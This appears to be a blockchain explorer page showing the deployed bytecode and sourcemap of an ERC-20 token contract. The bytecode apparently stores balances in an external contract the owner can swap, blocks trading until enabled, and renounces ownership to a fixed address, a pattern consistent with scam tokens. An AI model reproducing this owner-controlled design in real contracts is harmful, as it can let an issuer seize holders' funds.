8163ffffffff1660e01b8152600401602060405180830381865afa158015610dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfb9190611b80565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610e46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6a9190611b80565b6007805461ff00196001600160a01b0393909316620100000292909216610100600160b01b0319909216919091176101001790555b61097d3384846111d2565b6000546001600160a01b03163314610ed45760405162461bcd60e51b8152600401610a9290611bb6565b600d80546001600160a01b0383166001600160a01b03199091168117909155633825d828610f0a6000546001600160a01b031690565b6006546040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b158015610f5357600080fd5b505af1158015610f67573d6000803e3d6000fd5b50505050610f723390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051610fb991815260200190565b60405180910390a350565b6000546001600160a01b03163314610fee5760405162461bcd60e51b8152600401610a9290611bb6565b6001600160a01b0381166110535760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a92565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166111105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a92565b6001600160a01b0382166111715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a92565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546000906001600160a01b0384811662010000909204161480159061120757506000546001600160a01b03858116911614155b801561122c57506001600160a01b0384166000908152600a602052604090205460ff16155b156112815760075460ff1615156000036112815760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610a92565b600d546040516330af0bbf60e21b81526001600160a01b038681166004830152600092169063c2bc2efc90602401602060405180830381865afa1580156112cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f09190611b9d565b600d546040516330af0bbf60e21b81526001600160a01b0387811660048301529293506000929091169063c2bc2efc90602401602060405180830381865afa158015611340573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113649190611b9d565b90506001600160a01b0386166113ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a92565b6001600160a01b03851661142c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a92565b604080518082019091526014815273496e73756666696369656e742042616c616e636560601b602082015261146490839086906115f1565b6001600160a01b0387166000908152600a60205260408120549193509060ff16806114a757506001600160a01b0386166000908152600a602052604090205460ff165b6114bb576114b68787876116d3565b6114bd565b845b90506114c98282611674565b600d54604051630704bb0560e31b81526001600160a01b038a8116600483015260248201879052929450911690633825d82890604401600060405180830381600087803b15801561151957600080fd5b505af115801561152d573d6000803e3d6000fd5b5050600d54604051630704bb0560e31b81526001600160a01b038a81166004830152602482018790529091169250633825d8289150604401600060405180830381600087803b15801561157f57600080fd5b505af1158015611593573d6000803e3d6000fd5b50505050856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115dc91815260200190565b60405180910390a35060019695505050505050565b600081848411156116155760405162461bcd60e51b8152600401610a929190611a4b565b5060006116228486611c01565b95945050505050565b600061166d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115f1565b9392505050565b6000806116818385611c18565b90508381101561166d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a92565b600d546040516330af0bbf60e21b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead81166004830152600092839283929091169063c2bc2efc90602401602060405180830381865afa158015611744573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117689190611b9d565b6007549091506001600160a01b038088166201000090920416036117c2576117bb60646117b5867f0000000000000000000000000000000000000000000000000000000000000001611929565b906119ab565b915061180f565b6007546001600160a01b0380871662010000909204160361180f5761180c60646117b5867f0000000000000000000000000000000000000000000000000000000000000001611929565b91505b81156119155761181f8183611674565b600d54604051630704bb0560e31b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead8116600483015260248201849052929350911690633825d82890604401600060405180830381600087803b15801561188f57600080fd5b505af11580156118a3573d6000803e3d6000fd5b505050507f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161190c91815260200190565b60405180910390a35b61191f848361162b565b9695505050505050565b60008260000361193b575060006105c3565b60006119478385611c30565b9050826119548583611c4f565b1461166d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a92565b600061166d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611a095760405162461bcd60e51b8152600401610a929190611a4b565b5060006116228486611c4f565b6001600160a01b0381168114611a2b57600080fd5b50565b600060208284031215611a4057600080fd5b813561166d81611a16565b600060208083528351808285015260005b81811015611a7857858101830151858201604001528201611a5c565b81811115611a8a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611ab357600080fd5b8235611abe81611a16565b946020939093013593505050565b600080600060608486031215611ae157600080fd5b8335611aec81611a16565b92506020840135611afc81611a16565b929592945050506040919091013590565b60008060408385031215611b2057600080fd5b8235611b2b81611a16565b91506020830135611b3b81611a16565b809150509250929050565b600181811c90821680611b5a57607f821691505b602082108103611b7a57634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215611b9257600080fd5b815161166d81611a16565b600060208284031215611baf57600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611c1357611c13611beb565b500390565b60008219821115611c2b57611c2b611beb565b500190565b6000816000190483118215151615611c4a57611c4a611beb565b500290565b600082611c6c57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d40179671911070e99c001cc85c09b5a6dd526582f882b58ec525b0b6cac87aa64736f6c634300080f0033

Deployed Bytecode Sourcemap

38232:6238:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;38870:44;;;;;;;;;;-1:-1:-1;38870:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;567:14:1;;560:22;542:41;;530:2;515:18;38870:44:0;;;;;;;;40368:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;43821:161::-;;;;;;;;;;-1:-1:-1;43821:161:0;;;;;:::i;:::-;;:::i;40645:100::-;;;;;;;;;;-1:-1:-1;40725:12:0;;40645:100;;;1662:25:1;;;1650:2;1635:18;40645:100:0;1516:177:1;41279:660:0;;;;;;;;;;-1:-1:-1;41279:660:0;;;;;:::i;:::-;;:::i;38525:81::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2323:32:1;;;2305:51;;2293:2;2278:18;38525:81:0;2159:203:1;44335:128:0;;;;;;;;;;;;;:::i;40554:83::-;;;;;;;;;;-1:-1:-1;40620:9:0;;40554:83;;40620:9;;;;2509:36:1;;2497:2;2482:18;40554:83:0;2367:184:1;43281:218:0;;;;;;;;;;-1:-1:-1;43281:218:0;;;;;:::i;:::-;;:::i;38613:59::-;;;;;;;;;;;;;;;;38296:35;;;;;;;;;;;;;;;42994:128;;;;;;;;;;-1:-1:-1;42994:128:0;;;;;:::i;:::-;;:::i;29153:230::-;;;;;;;;;;;;;:::i;:::-;;29049:79;;;;;;;;;;-1:-1:-1;29087:7:0;29114:6;-1:-1:-1;;;;;29114:6:0;29049:79;;38997:37;;;;;;;;;;-1:-1:-1;38997:37:0;;;;-1:-1:-1;;;;;38997:37:0;;;40459:87;;;;;;;;;;;;;:::i;43507:269::-;;;;;;;;;;-1:-1:-1;43507:269:0;;;;;:::i;:::-;;:::i;40753:518::-;;;;;;;;;;-1:-1:-1;40753:518:0;;;;;:::i;:::-;;:::i;39427:228::-;;;;;;;;;;-1:-1:-1;39427:228:0;;;;;:::i;:::-;;:::i;38823:40::-;;;;;;;;;;-1:-1:-1;38823:40:0;;;;;:::i;:::-;;;;;;;;;;;;;;38728:26;;;;;;;;;;-1:-1:-1;38728:26:0;;;;;;;-1:-1:-1;;;;;38728:26:0;;;38338:37;;;;;;;;;;;;;;;43130:143;;;;;;;;;;-1:-1:-1;43130:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;43238:18:0;;;43211:7;43238:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;43130:143;38794:20;;;;;;;;;;-1:-1:-1;38794:20:0;;;;-1:-1:-1;;;;;38794:20:0;;;29397:244;;;;;;;;;;-1:-1:-1;29397:244:0;;;;;:::i;:::-;;:::i;40368:83::-;40405:13;40438:5;40431:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;40368:83;:::o;43821:161::-;43896:4;43913:39;26922:10;43936:7;43945:6;43913:8;:39::i;:::-;-1:-1:-1;43970:4:0;43821:161;;;;;:::o;41279:660::-;41397:4;;41377;;41397;;;;;:11;;;;41394:337;;41446:11;;;;;;;;;-1:-1:-1;;;;;41446:11:0;-1:-1:-1;;;;;41446:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;41428:48:0;;41485:4;41492:11;;;;;;;;;-1:-1:-1;;;;;41492:11:0;-1:-1:-1;;;;;41492:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;41428:83;;-1:-1:-1;;;;;;41428:83:0;;;;;;;-1:-1:-1;;;;;4055:15:1;;;41428:83:0;;;4037:34:1;4107:15;;4087:18;;;4080:43;3972:18;;41428:83:0;;;;;;;;;;;;;;;;;;-1:-1:-1;41428:83:0;;;;;;;;-1:-1:-1;;41428:83:0;;;;;;;;;;;;:::i;:::-;;;41424:296;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;41685:35;41424:296;;;;41562:11;;;;;;;;;-1:-1:-1;;;;;41562:11:0;-1:-1:-1;;;;;41562:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;41544:48:0;;41601:4;41608:11;;;;;;;;;-1:-1:-1;;;;;41608:11:0;-1:-1:-1;;;;;41608:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;41544:83;;-1:-1:-1;;;;;;41544:83:0;;;;;;;-1:-1:-1;;;;;4055:15:1;;;41544:83:0;;;4037:34:1;4107:15;;4087:18;;;4080:43;3972:18;;41544:83:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;41530:11;:97;;-1:-1:-1;;;;;;;41530:97:0;;;;;;41646:9;;;;-1:-1:-1;;;;;;41646:9:0;;;;;;;41530:97;41646:9;;;41424:296;41741:36;41751:6;41759:9;41770:6;41741:9;:36::i;:::-;-1:-1:-1;41788:121:0;41797:6;26922:10;41819:89;41857:6;41819:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;41819:19:0;;;;;;:11;:19;;;;;;;;26922:10;41819:33;;;;;;;;;;:37;:89::i;:::-;41788:8;:121::i;:::-;-1:-1:-1;41927:4:0;41279:660;;;;;:::o;44335:128::-;44388:7;44415:40;44432:22;44442:11;44432:9;:22::i;:::-;44415:12;;;:16;:40::i;:::-;44408:47;;44335:128;:::o;43281:218::-;26922:10;43369:4;43418:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;43418:34:0;;;;;;;;;;43369:4;;43386:83;;43409:7;;43418:50;;43457:10;43418:38;:50::i;42994:128::-;43087:14;;:27;;-1:-1:-1;;;43087:27:0;;-1:-1:-1;;;;;2323:32:1;;;43087:27:0;;;2305:51:1;43060:7:0;;43087:14;;:18;;2278::1;;43087:27:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;29153:230::-;28800:6;;-1:-1:-1;;;;;28800:6:0;26922:10;28800:22;28792:67;;;;-1:-1:-1;;;28792:67:0;;;;;;;:::i;:::-;;;;;;;;;29244:6:::1;::::0;;29223:81:::1;::::0;29260:42:::1;::::0;-1:-1:-1;;;;;29244:6:0;;::::1;::::0;29223:81:::1;::::0;::::1;29315:6;:60:::0;;-1:-1:-1;;;;;;29315:60:0::1;29332:42;29315:60;::::0;;29153:230::o;40459:87::-;40498:13;40531:7;40524:14;;;;;:::i;43507:269::-;43600:4;43617:129;26922:10;43640:7;43649:96;43688:15;43649:96;;;;;;;;;;;;;;;;;26922:10;43649:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;43649:34:0;;;;;;;;;;;;:38;:96::i;40753:518::-;40851:4;;40831;;40851;;;;;:11;;;;40848:337;;40900:11;;;;;;;;;-1:-1:-1;;;;;40900:11:0;-1:-1:-1;;;;;40900:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;40882:48:0;;40939:4;40946:11;;;;;;;;;-1:-1:-1;;;;;40946:11:0;-1:-1:-1;;;;;40946:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;40882:83;;-1:-1:-1;;;;;;40882:83:0;;;;;;;-1:-1:-1;;;;;4055:15:1;;;40882:83:0;;;4037:34:1;4107:15;;4087:18;;;4080:43;3972:18;;40882:83:0;;;;;;;;;;;;;;;;;;-1:-1:-1;40882:83:0;;;;;;;;-1:-1:-1;;40882:83:0;;;;;;;;;;;;:::i;:::-;;;40878:296;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;41139:35;40878:296;;;;41016:11;;;;;;;;;-1:-1:-1;;;;;41016:11:0;-1:-1:-1;;;;;41016:19:0;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;40998:48:0;;41055:4;41062:11;;;;;;;;;-1:-1:-1;;;;;41062:11:0;-1:-1:-1;;;;;41062:16:0;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;40998:83;;-1:-1:-1;;;;;;40998:83:0;;;;;;;-1:-1:-1;;;;;4055:15:1;;;40998:83:0;;;4037:34:1;4107:15;;4087:18;;;4080:43;3972:18;;40998:83:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;40984:11;:97;;-1:-1:-1;;;;;;;40984:97:0;;;;;;41100:9;;;;-1:-1:-1;;;;;;41100:9:0;;;;;;;40984:97;41100:9;;;40878:296;41195:42;26922:10;41219:9;41230:6;41195:9;:42::i;39427:228::-;28800:6;;-1:-1:-1;;;;;28800:6:0;26922:10;28800:22;28792:67;;;;-1:-1:-1;;;28792:67:0;;;;;;;:::i;:::-;39488:14:::1;:44:::0;;-1:-1:-1;;;;;39488:44:0;::::1;-1:-1:-1::0;;;;;;39488:44:0;;::::1;::::0;::::1;::::0;;;39543:18:::1;39562:7;29087::::0;29114:6;-1:-1:-1;;;;;29114:6:0;;29049:79;39562:7:::1;39570:12;::::0;39543:40:::1;::::0;-1:-1:-1;;;;;;39543:40:0::1;::::0;;;;;;-1:-1:-1;;;;;4876:32:1;;;39543:40:0::1;::::0;::::1;4858:51:1::0;4925:18;;;4918:34;4831:18;;39543:40:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;39620:12;26922:10:::0;;26826:115;39620:12:::1;-1:-1:-1::0;;;;;39599:48:0::1;39616:1;-1:-1:-1::0;;;;;39599:48:0::1;;39634:12;;39599:48;;;;1662:25:1::0;;1650:2;1635:18;;1516:177;39599:48:0::1;;;;;;;;39427:228:::0;:::o;29397:244::-;28800:6;;-1:-1:-1;;;;;28800:6:0;26922:10;28800:22;28792:67;;;;-1:-1:-1;;;28792:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;29486:22:0;::::1;29478:73;;;::::0;-1:-1:-1;;;29478:73:0;;5165:2:1;29478:73:0::1;::::0;::::1;5147:21:1::0;5204:2;5184:18;;;5177:30;5243:34;5223:18;;;5216:62;-1:-1:-1;;;5294:18:1;;;5287:36;5340:19;;29478:73:0::1;4963:402:1::0;29478:73:0::1;29588:6;::::0;;29567:38:::1;::::0;-1:-1:-1;;;;;29567:38:0;;::::1;::::0;29588:6;::::1;::::0;29567:38:::1;::::0;::::1;29616:6;:17:::0;;-1:-1:-1;;;;;;29616:17:0::1;-1:-1:-1::0;;;;;29616:17:0;;;::::1;::::0;;;::::1;::::0;;29397:244::o;43990:337::-;-1:-1:-1;;;;;44083:19:0;;44075:68;;;;-1:-1:-1;;;44075:68:0;;5572:2:1;44075:68:0;;;5554:21:1;5611:2;5591:18;;;5584:30;5650:34;5630:18;;;5623:62;-1:-1:-1;;;5701:18:1;;;5694:34;5745:19;;44075:68:0;5370:400:1;44075:68:0;-1:-1:-1;;;;;44162:21:0;;44154:68;;;;-1:-1:-1;;;44154:68:0;;5977:2:1;44154:68:0;;;5959:21:1;6016:2;5996:18;;;5989:30;6055:34;6035:18;;;6028:62;-1:-1:-1;;;6106:18:1;;;6099:32;6148:19;;44154:68:0;5775:398:1;44154:68:0;-1:-1:-1;;;;;44235:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;44287:32;;1662:25:1;;;44287:32:0;;1635:18:1;44287:32:0;;;;;;;43990:337;;;:::o;41949:1037::-;42069:11;;42036:4;;-1:-1:-1;;;;;42069:24:0;;;:11;;;;;:24;;;;:45;;-1:-1:-1;29087:7:0;29114:6;-1:-1:-1;;;;;42097:17:0;;;29114:6;;42097:17;;42069:45;:69;;;;-1:-1:-1;;;;;;42119:19:0;;;;;;:11;:19;;;;;;;;42118:20;42069:69;42065:139;;;42162:6;;;;:15;;:6;:15;42154:50;;;;-1:-1:-1;;;42154:50:0;;6380:2:1;42154:50:0;;;6362:21:1;6419:2;6399:18;;;6392:30;-1:-1:-1;;;6438:18:1;;;6431:52;6500:18;;42154:50:0;6178:346:1;42154:50:0;42240:14;;:26;;-1:-1:-1;;;42240:26:0;;-1:-1:-1;;;;;2323:32:1;;;42240:26:0;;;2305:51:1;42219:20:0;;42240:14;;:18;;2278::1;;42240:26:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42301:14;;:29;;-1:-1:-1;;;42301:29:0;;-1:-1:-1;;;;;2323:32:1;;;42301:29:0;;;2305:51:1;42219:47:0;;-1:-1:-1;42277:23:0;;42301:14;;;;:18;;2278::1;;42301:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42277:53;-1:-1:-1;;;;;;42351:20:0;;42343:70;;;;-1:-1:-1;;;42343:70:0;;6731:2:1;42343:70:0;;;6713:21:1;6770:2;6750:18;;;6743:30;6809:34;6789:18;;;6782:62;-1:-1:-1;;;6860:18:1;;;6853:35;6905:19;;42343:70:0;6529:401:1;42343:70:0;-1:-1:-1;;;;;42432:23:0;;42424:71;;;;-1:-1:-1;;;42424:71:0;;7137:2:1;42424:71:0;;;7119:21:1;7176:2;7156:18;;;7149:30;7215:34;7195:18;;;7188:62;-1:-1:-1;;;7266:18:1;;;7259:33;7309:19;;42424:71:0;6935:399:1;42424:71:0;42523:48;;;;;;;;;;;;-1:-1:-1;;;42523:48:0;;;;;;:12;;42540:6;;42523:16;:48::i;:::-;-1:-1:-1;;;;;42615:19:0;;42592;42615;;;:11;:19;;;;;;42508:63;;-1:-1:-1;42592:19:0;42615;;;:45;;-1:-1:-1;;;;;;42638:22:0;;;;;;:11;:22;;;;;;;;42615:45;42614:89;;42673:30;42677:6;42685:9;42696:6;42673:3;:30::i;:::-;42614:89;;;42664:6;42614:89;42592:111;-1:-1:-1;42742:32:0;:15;42592:111;42742:19;:32::i;:::-;42789:14;;:39;;-1:-1:-1;;;42789:39:0;;-1:-1:-1;;;;;4876:32:1;;;42789:39:0;;;4858:51:1;4925:18;;;4918:34;;;42724:50:0;;-1:-1:-1;42789:14:0;;;:18;;4831::1;;42789:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;42839:14:0;;:45;;-1:-1:-1;;;42839:45:0;;-1:-1:-1;;;;;4876:32:1;;;42839:45:0;;;4858:51:1;4925:18;;;4918:34;;;42839:14:0;;;;-1:-1:-1;42839:18:0;;-1:-1:-1;4831:18:1;;42839:45:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;42919:9;-1:-1:-1;;;;;42902:40:0;42911:6;-1:-1:-1;;;;;42902:40:0;;42930:11;42902:40;;;;1662:25:1;;1650:2;1635:18;;1516:177;42902:40:0;;;;;;;;-1:-1:-1;42974:4:0;;41949:1037;-1:-1:-1;;;;;;41949:1037:0:o;27429:192::-;27515:7;27551:12;27543:6;;;;27535:29;;;;-1:-1:-1;;;27535:29:0;;;;;;;;:::i;:::-;-1:-1:-1;27575:9:0;27587:5;27591:1;27587;:5;:::i;:::-;27575:17;27429:192;-1:-1:-1;;;;;27429:192:0:o;27285:136::-;27343:7;27370:43;27374:1;27377;27370:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;27363:50;27285:136;-1:-1:-1;;;27285:136:0:o;27096:181::-;27154:7;;27186:5;27190:1;27186;:5;:::i;:::-;27174:17;;27215:1;27210;:6;;27202:46;;;;-1:-1:-1;;;27202:46:0;;7936:2:1;27202:46:0;;;7918:21:1;7975:2;7955:18;;;7948:30;8014:29;7994:18;;;7987:57;8061:18;;27202:46:0;7734:351:1;39663:697:0;39822:14;;:40;;-1:-1:-1;;;39822:40:0;;-1:-1:-1;;;;;39849:11:0;2323:32:1;;39822:40:0;;;2305:51:1;-1:-1:-1;;;;;;39822:14:0;;;;:18;;2278::1;;39822:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;39886:11;;39795:67;;-1:-1:-1;;;;;;39886:16:0;;;:11;;;;;:16;39883:191;;39930:28;39954:3;39930:19;:6;39941:7;39930:10;:19::i;:::-;:23;;:28::i;:::-;39919:39;;39883:191;;;39989:11;;-1:-1:-1;;;;;39989:16:0;;;:11;;;;;:16;39986:88;;40033:29;40058:3;40033:20;:6;40044:8;40033:10;:20::i;:29::-;40022:40;;39986:88;40097:12;;40094:219;;40145:30;:16;40166:8;40145:20;:30::i;:::-;40190:14;;:48;;-1:-1:-1;;;40190:48:0;;-1:-1:-1;;;;;40209:11:0;4876:32:1;;40190:48:0;;;4858:51:1;4925:18;;;4918:34;;;;;-1:-1:-1;40190:14:0;;;:18;;4831::1;;40190:48:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;40278:11;-1:-1:-1;;;;;40258:43:0;40267:1;-1:-1:-1;;;;;40258:43:0;;40292:8;40258:43;;;;1662:25:1;;1650:2;1635:18;;1516:177;40258:43:0;;;;;;;;40094:219;40332:20;:6;40343:8;40332:10;:20::i;:::-;40325:27;39663:697;-1:-1:-1;;;;;;39663:697:0:o;27629:250::-;27687:7;27711:1;27716;27711:6;27707:47;;-1:-1:-1;27741:1:0;27734:8;;27707:47;27766:9;27778:5;27782:1;27778;:5;:::i;:::-;27766:17;-1:-1:-1;27811:1:0;27802:5;27806:1;27766:17;27802:5;:::i;:::-;:10;27794:56;;;;-1:-1:-1;;;27794:56:0;;8687:2:1;27794:56:0;;;8669:21:1;8726:2;8706:18;;;8699:30;8765:34;8745:18;;;8738:62;-1:-1:-1;;;8816:18:1;;;8809:31;8857:19;;27794:56:0;8485:397:1;27887:132:0;27945:7;27972:39;27976:1;27979;27972:39;;;;;;;;;;;;;;;;;28113:7;28148:12;28141:5;28133:28;;;;-1:-1:-1;;;28133:28:0;;;;;;;;:::i;:::-;-1:-1:-1;28172:9:0;28184:5;28188:1;28184;:5;:::i;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:247::-;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;594:597::-;706:4;735:2;764;753:9;746:21;796:6;790:13;839:6;834:2;823:9;819:18;812:34;864:1;874:140;888:6;885:1;882:13;874:140;;;983:14;;;979:23;;973:30;949:17;;;968:2;945:26;938:66;903:10;;874:140;;;1032:6;1029:1;1026:13;1023:91;;;1102:1;1097:2;1088:6;1077:9;1073:22;1069:31;1062:42;1023:91;-1:-1:-1;1175:2:1;1154:15;-1:-1:-1;;1150:29:1;1135:45;;;;1182:2;1131:54;;594:597;-1:-1:-1;;;594:597:1:o;1196:315::-;1264:6;1272;1325:2;1313:9;1304:7;1300:23;1296:32;1293:52;;;1341:1;1338;1331:12;1293:52;1380:9;1367:23;1399:31;1424:5;1399:31;:::i;:::-;1449:5;1501:2;1486:18;;;;1473:32;;-1:-1:-1;;;1196:315:1:o;1698:456::-;1775:6;1783;1791;1844:2;1832:9;1823:7;1819:23;1815:32;1812:52;;;1860:1;1857;1850:12;1812:52;1899:9;1886:23;1918:31;1943:5;1918:31;:::i;:::-;1968:5;-1:-1:-1;2025:2:1;2010:18;;1997:32;2038:33;1997:32;2038:33;:::i;:::-;1698:456;;2090:7;;-1:-1:-1;;;2144:2:1;2129:18;;;;2116:32;;1698:456::o;2791:388::-;2859:6;2867;2920:2;2908:9;2899:7;2895:23;2891:32;2888:52;;;2936:1;2933;2926:12;2888:52;2975:9;2962:23;2994:31;3019:5;2994:31;:::i;:::-;3044:5;-1:-1:-1;3101:2:1;3086:18;;3073:32;3114:33;3073:32;3114:33;:::i;:::-;3166:7;3156:17;;;2791:388;;;;;:::o;3184:380::-;3263:1;3259:12;;;;3306;;;3327:61;;3381:4;3373:6;3369:17;3359:27;;3327:61;3434:2;3426:6;3423:14;3403:18;3400:38;3397:161;;3480:10;3475:3;3471:20;3468:1;3461:31;3515:4;3512:1;3505:15;3543:4;3540:1;3533:15;3397:161;;3184:380;;;:::o;3569:251::-;3639:6;3692:2;3680:9;3671:7;3667:23;3663:32;3660:52;;;3708:1;3705;3698:12;3660:52;3740:9;3734:16;3759:31;3784:5;3759:31;:::i;4134:184::-;4204:6;4257:2;4245:9;4236:7;4232:23;4228:32;4225:52;;;4273:1;4270;4263:12;4225:52;-1:-1:-1;4296:16:1;;4134:184;-1:-1:-1;4134:184:1:o;4323:356::-;4525:2;4507:21;;;4544:18;;;4537:30;4603:34;4598:2;4583:18;;4576:62;4670:2;4655:18;;4323:356::o;7339:127::-;7400:10;7395:3;7391:20;7388:1;7381:31;7431:4;7428:1;7421:15;7455:4;7452:1;7445:15;7471:125;7511:4;7539:1;7536;7533:8;7530:34;;;7544:18;;:::i;:::-;-1:-1:-1;7581:9:1;;7471:125::o;7601:128::-;7641:3;7672:1;7668:6;7665:1;7662:13;7659:39;;;7678:18;;:::i;:::-;-1:-1:-1;7714:9:1;;7601:128::o;8090:168::-;8130:7;8196:1;8192;8188:6;8184:14;8181:1;8178:21;8173:1;8166:9;8159:17;8155:45;8152:71;;;8203:18;;:::i;:::-;-1:-1:-1;8243:9:1;;8090:168::o;8263:217::-;8303:1;8329;8319:132;;8373:10;8368:3;8364:20;8361:1;8354:31;8408:4;8405:1;8398:15;8436:4;8433:1;8426:15;8319:132;-1:-1:-1;8465:9:1;;8263:217::o

Swarm Source

ipfs://d40179671911070e99c001cc85c09b5a6dd526582f882b58ec525b0b6cac87aa
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.